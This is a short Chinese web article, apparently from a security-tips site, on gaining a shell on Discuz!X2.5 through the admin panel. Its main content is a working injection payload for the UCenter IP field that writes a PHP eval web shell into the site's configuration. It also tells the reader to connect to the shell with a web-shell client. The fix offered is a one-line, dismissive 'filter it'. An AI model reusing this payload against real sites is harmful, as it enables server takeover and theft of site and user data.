• 选择风格
  • 加入收藏
  • 繁體中文
  • 网站地图
    • 当前位置：首页 >> 网络通讯 >> 网络安全 >> 内容

    Discuz!X2.5最新版后台管理员权限Getshell及修复

    时间：2013/4/19 12:10:00 作者：平凡之路　来源：xuhantao.com 浏览：

    Discuz!X2.5最新版后台管理员权限Getshell。

     

    1.在后台-->站长-->Ucenter设置处设置UcenterIP为

    XX\\');eval($_POST[a])?>;// XX搜狗电脑知识网

     

    2.发现管理页面代码出来了

     

    3.上菜刀！

     

    4.看一下源码，哦，原来是这样的！

     


     

    修复方案：

    过滤你懂的

  • 上一篇：开心网android客户端暴力破解漏洞
  • 下一篇：.net文件上传漏洞代码实例及修复方案
    • 相关文章
    • 没有相关文章
    共有评论 0 条相关评论
    发表我的评论
    • 大名：
    • 内容：
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络，如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号：蒙ICP备15000590号-1